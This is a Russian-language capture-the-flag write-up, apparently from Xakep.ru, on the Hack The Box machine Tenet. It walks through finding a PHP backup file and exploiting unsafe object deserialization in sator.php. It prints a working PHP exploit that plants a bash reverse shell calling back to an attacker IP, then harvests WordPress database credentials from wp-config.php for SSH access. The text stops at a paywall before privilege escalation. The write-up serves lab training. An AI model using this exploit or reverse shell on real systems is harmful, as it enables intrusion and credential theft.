В этой статье я покажу прос­той инс­тру­мент для поис­ка бэкапов, поз­наком­лю тебя с уяз­вимостью при десери­али­зации объ­екта в PHP и про­демонс­три­рую Race Condition при выпол­нении самопис­ного скрип­та. Все эти манипу­ляции мы будем про­делы­вать с Tenet — сред­ней по слож­ности машиной с Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

По тра­диции нач­нем с того, что добавим IP машины (10.10.10.223) в /etc/hosts, что­бы боль­ше не печатать его руками.

10.10.10.223 tenet.htb

И ска­ниру­ем пор­ты:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

Скрипт находит два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache). SSH зак­рыт, и без учет­ки там делать нечего, поэто­му будем «про­бивать» веб. Помимо точек вхо­да, нас инте­ресу­ют любые под­робнос­ти, поэто­му вни­матель­но изу­чаем сайт.

На одной из стра­ниц находим инте­рес­ный ком­мента­рий — его оста­вил поль­зователь neil. В ком­мента­рии упо­мина­ется файл sator.php, а так­же бэкап.

Комментарий, оставленный на сайте пользователем neil
Ком­мента­рий, оставлен­ный на сай­те поль­зовате­лем neil

Это очень важ­ная для нас информа­ция. Не исклю­чено, что там мы и най­дем точ­ку вхо­да, если адми­нис­тра­тор не выпол­нил прось­бу Нила и не спря­тал фай­лы. Пер­вым делом я решил поис­кать бэкапы sator.php при помощи ути­литы bfac, которая переби­рает под­ходящие вари­анты.

bfac --url http://tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac
По­иск бэкапов фай­ла sator.php с помощью bfac

Но к сожале­нию, нам не уда­лось най­ти никаких бэкапов.

 

Точка входа

Не оставляя идею с sator, я решил про­верить под­домен sator.tenet.php. Что­бы обра­тить­ся к вир­туаль­ному хос­ту, нуж­но ука­зать его адрес в заголов­ке Host HTTP-зап­роса. Про­верить дос­туп мож­но с помощью curl.

curl -H 'Host: sator.tenet.htb' http://tenet.htb
Запрос к виртуальному хосту sator.tenet.php
Зап­рос к вир­туаль­ному хос­ту sator.tenet.php

Веб‑сер­вер вер­нул нам дефол­тную стра­ницу Apache 2. Хва­лим себя за удач­ную наход­ку и добав­ляем запись в файл /etc/hosts.

10.10.10.223 sator.tenet.htb

Сле­дующий шаг в таких слу­чаях — прос­каниро­вать дирек­тории на най­ден­ном домене. Но, пом­ня о ком­мента­рии, я сна­чала поищу бэкапы фай­ла sator.php. На этот раз нам повез­ло — находим бэкап и можем ска­чать его для ана­лиза.

bfac --url http://sator.tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac
По­иск бэкапов фай­ла sator.php с помощью bfac
 

Закрепление

Да­вай раз­берем­ся с кодом. Этот файл ждет, что будет ука­зан параметр arepo, а передан­ные дан­ные под­верга­ются десери­али­зации (стро­ки 23–24). Так­же име­ется класс DatabaseExport, содер­жащий имя фай­ла и дан­ные (стро­ки 3–6), которые будут записа­ны в этот файл при вызове дес­трук­тора клас­са (стро­ки 15–20).

Содержимое файла sator.php.bak
Со­дер­жимое фай­ла sator.php.bak

По­луча­ется, что мы можем сери­али­зовать объ­ект такого клас­са и отпра­вить сери­али­зован­ные дан­ные на сер­вер. А это откры­вает воз­можность записать какие угод­но дан­ные в любой файл. Писать мы, конеч­но, будем бэк­шелл. Но сна­чала про­верим, есть ли на сер­вере файл, бэкап которо­го мы разоб­рали.

Запрос к sator.php
Зап­рос к sator.php

Ре­зуль­таты работы sator.php и бэкапа иден­тичные, а зна­чит, все дол­жно получить­ся. Но сна­чала нам нуж­но запус­тить лис­тенер, который будет при­нимать соеди­нение с нашей сто­роны. Я буду исполь­зовать netcat и обо­лоч­ку rlwrap.

apt install rlwrap
rlwrap nc -lvp [port]

Те­перь раз­берем­ся с экс­плу­ата­цией. Копиру­ем опре­деле­ние клас­са DatabaseExport, а затем зада­ем зна­чение перемен­ных: user_file — это имя фай­ла, а data — бэк­шелл, который будет записан в файл (стро­ки 2–11). Оста­ется соз­дать экзем­пляр клас­са, сери­али­зовать его и передать в качес­тве дан­ных на извес­тный нам адрес (стро­ки 12–13). Завер­шающим дей­стви­ем будет обра­щение к фай­лу с бэк­шеллом (стро­ка 14).

<?php
class DatabaseExport
{
public $user_file = 'r.php';
public $data = '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.107/4321 0>&1'"); ?>';
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
}
}
$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.10.10.223/r.php");
?>

Вы­пол­няем этот код пря­мо в кон­соли и получа­ем шелл в окне лис­тенера.

php exploit.php
Бэкконнект в окне листенера
Бэк­коннект в окне лис­тенера
 

Продвижение

Так как на хос­те раз­вернут веб‑сер­вер, где кру­тит­ся целая CMS, то пер­вое наше дей­ствие пос­ле зах­вата шел­ла — поп­робовать получить какие‑нибудь учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей. Для удобс­тва получим инте­рак­тивный шелл с помощью Python 3, а потом поищем дирек­торию WordPress.

python3 -c "import pty; pty.spawn('/bin/bash')"
Содержимое директории веб-сервера
Со­дер­жимое дирек­тории веб‑сер­вера

В WordPress есть мес­то, где учет­ные дан­ные есть всег­да, — файл с нас­трой­ками для под­клю­чения к базе дан­ных wp-config.php.

Содержимое файла wp-config.php
Со­дер­жимое фай­ла wp-config.php

Эти учет­ные дан­ные поз­воля­ют под­клю­чить­ся к базе дан­ных и получить дру­гие кри­тичес­кие дан­ные поль­зовате­лей, но в этом слу­чае мы можем сра­зу авто­ризо­вать­ся с ними на сер­вере по SSH.

Флаг пользователя
Флаг поль­зовате­ля
 

Локальное повышение привилегий

Зай­дя под поль­зовате­лем, мы теперь хотим получить рут, но вряд ли соз­датели машины прос­то оста­вили нам нуж­ный ключ лежащим где‑то на вид­ном мес­те. Для упро­щения поис­ков я обыч­но гоняю скрип­ты LinPEAS, но мож­но сра­зу про­верить наибо­лее веро­ятные мес­та: нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID, прос­лушива­емые на локал­хосте пор­ты.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Оставить мнение